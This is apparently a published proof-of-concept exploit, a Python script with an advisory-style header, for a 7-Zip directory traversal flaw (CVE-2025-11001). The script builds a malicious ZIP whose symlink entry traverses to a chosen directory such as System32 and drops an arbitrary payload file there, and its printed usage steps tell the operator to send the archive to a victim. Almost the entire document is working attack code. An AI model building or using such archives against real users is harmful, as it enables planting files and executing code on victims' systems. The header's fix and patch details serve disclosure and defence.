1+ # Exploit Title: 7-Zip < 25.00 - Directory Traversal to RCE via Malicious ZIP
2+ # Date: 2025-11-22
3+ # Author: Mohammed Idrees Banyamer
4+ # Author Country: Jordan
5+ # Instagram: @banyamer_security
6+ # GitHub: https://github.com/mbanyamer
7+ # Vendor Homepage: https://www.7-zip.org
8+ # Software Link: https://www.7-zip.org/download.html
9+ # Version: 7-Zip < 25.00
10+ # Tested on: Windows 10 / Windows 11 (7-Zip 24.xx)
11+ # CVE: CVE-2025-11001
12+ # CVSS: 8.8 (High) - draft estimation
13+ # Category: Local Privilege Escalation / Remote Code Execution
14+ # Platform: Windows
15+ # CRITICAL: Yes - Public exploit available, active exploitation reported
16+ # Including: Directory Traversal via crafted symlink entry in ZIP archive
17+ # Impact: Full system compromise when extracting malicious archive with 7-Zip as Administrator
18+ # Fix: Upgrade to 7-Zip 25.00 or later
19+ # Advisory: https://www.7-zip.org/history.txt
20+ # Patch: https://github.com/ip7z/7zip/releases/tag/25.00
21+ # Target: Windows systems running vulnerable 7-Zip versions
22+
23+ import struct
24+ import os
25+ import argparse
26+ import sys
27+
28+ def build_zip (target_path , payload_file , output_zip ):
29+ if not os .path .isfile (payload_file ):
30+ print (f"[-] Payload file not found: { payload_file } " )
31+ sys .exit (1 )
32+
33+ payload_name = os .path .basename (payload_file )
34+ payload_data = open (payload_file , "rb" ).read ()
35+
36+ target = target_path .replace ("\\ " , "/" ).strip ("/" ) + "/"
37+ traversal = "../../../../" + target
38+
39+ with open (output_zip , "wb" ) as f :
40+ offset = 0
41+
42+ symlink_name = "evil.lnk"
43+ symlink_target = traversal .encode () + b"\x00 "
44+ symlink_extra = struct .pack ("<HH" , 0x756e , len (symlink_target )) + symlink_target
45+
46+ symlink_header = struct .pack ("<IHHHHHHIIIHH" ,
47+ 0x04034b50 , 20 , 0x800 , 0x800 , 0 , 0 , 0 ,
48+ 0 , 0 , 0 ,
49+ len (symlink_name ), len (symlink_extra ))
50+
51+ f .write (symlink_header )
52+ f .write (symlink_name .encode ())
53+ f .write (symlink_extra )
54+ f .write (b"" )
55+ symlink_central_offset = offset
56+ offset += len (symlink_header ) + len (symlink_name ) + len (symlink_extra )
57+
58+ payload_header = struct .pack ("<IHHHHHHIIIHH" ,
59+ 0x04034b50 , 20 , 0x800 , 0 , 0 , 0 ,
60+ 0 , len (payload_data ), len (payload_data ),
61+ len (payload_name ), 0 )
62+
63+ f .write (payload_header )
64+ f .write (payload_name .encode ())
65+ f .write (payload_data )
66+ payload_central_offset = offset
67+ offset += len (payload_header ) + len (payload_name ) + len (payload_data )
68+
69+ cd_offset = offset
70+
71+ f .write (struct .pack ("<IHHHHHHIIIHHHHHII" ,
72+ 0x02014b50 , 0x0317 , 20 , 0x800 , 0 , 0 , 0 ,
73+ 0 , 0 , 0 ,
74+ len (symlink_name ), len (symlink_extra ), 0 , 0 , 0 , 0o777 << 16 | 0xA1ED , symlink_central_offset ))
75+ f .write (symlink_name .encode ())
76+ f .write (symlink_extra )
77+
78+ f .write (struct .pack ("<IHHHHHHIIIHHHHHII" ,
79+ 0x02014b50 , 0x0317 , 20 , 0x800 , 0 , 0 , 0 ,
80+ 0 , len (payload_data ), len (payload_data ),
81+ len (payload_name ), 0 , 0 , 0 , 0 , 0o777 << 16 , payload_central_offset ))
82+ f .write (payload_name .encode ())
83+
84+ f .write (struct .pack ("<IHHHHIIH" ,
85+ 0x06054b50 , 0 , 0 , 2 , 2 , offset , cd_offset , 0 ))
86+
87+ print (f"[+] Malicious archive created: { output_zip } " )
88+ print (f"[+] Target path : { target_path } " )
89+ print (f"[+] Payload file : { payload_name } ({ len (payload_data )} bytes)" )
90+ print (f"[+] Final write location : { target_path } \\ { payload_name } " )
91+ print ("\n [*] Usage:" )
92+ print (" 1. Send the ZIP file to the victim" )
93+ print (" 2. Victim must run 7-Zip < 25.00 as Administrator" )
94+ print (" 3. Victim opens and extracts the ZIP → payload dropped silently" )
95+ print (" 4. Achievement unlocked" )
96+
97+ if __name__ == "__main__" :
98+ banner = """
99+ CVE-2025-11001 - 7-Zip Directory Traversal PoC
100+ Author: Mohammed Idrees Banyamer (@banyamer_security)
101+ """
102+ print (banner )
103+
104+ parser = argparse .ArgumentParser (description = "CVE-2025-11001 Exploit - 7-Zip < 25.00" )
105+ parser .add_argument ("-t" , "--target" , required = True , help = "Target directory (e.g. C:\\ Windows\\ System32)" )
106+ parser .add_argument ("-p" , "--payload" , required = True , help = "Payload file to drop (e.g. C:\\ Windows\\ System32\\ calc.exe)" )
107+ parser .add_argument ("-o" , "--output" , default = "CVE-2025-11001-exploit.zip" , help = "Output ZIP filename (default: CVE-2025-11001-exploit.zip)" )
108+
109+ args = parser .parse_args ()
110+
111+ build_zip (args .target , args .payload , args .output )
0 commit comments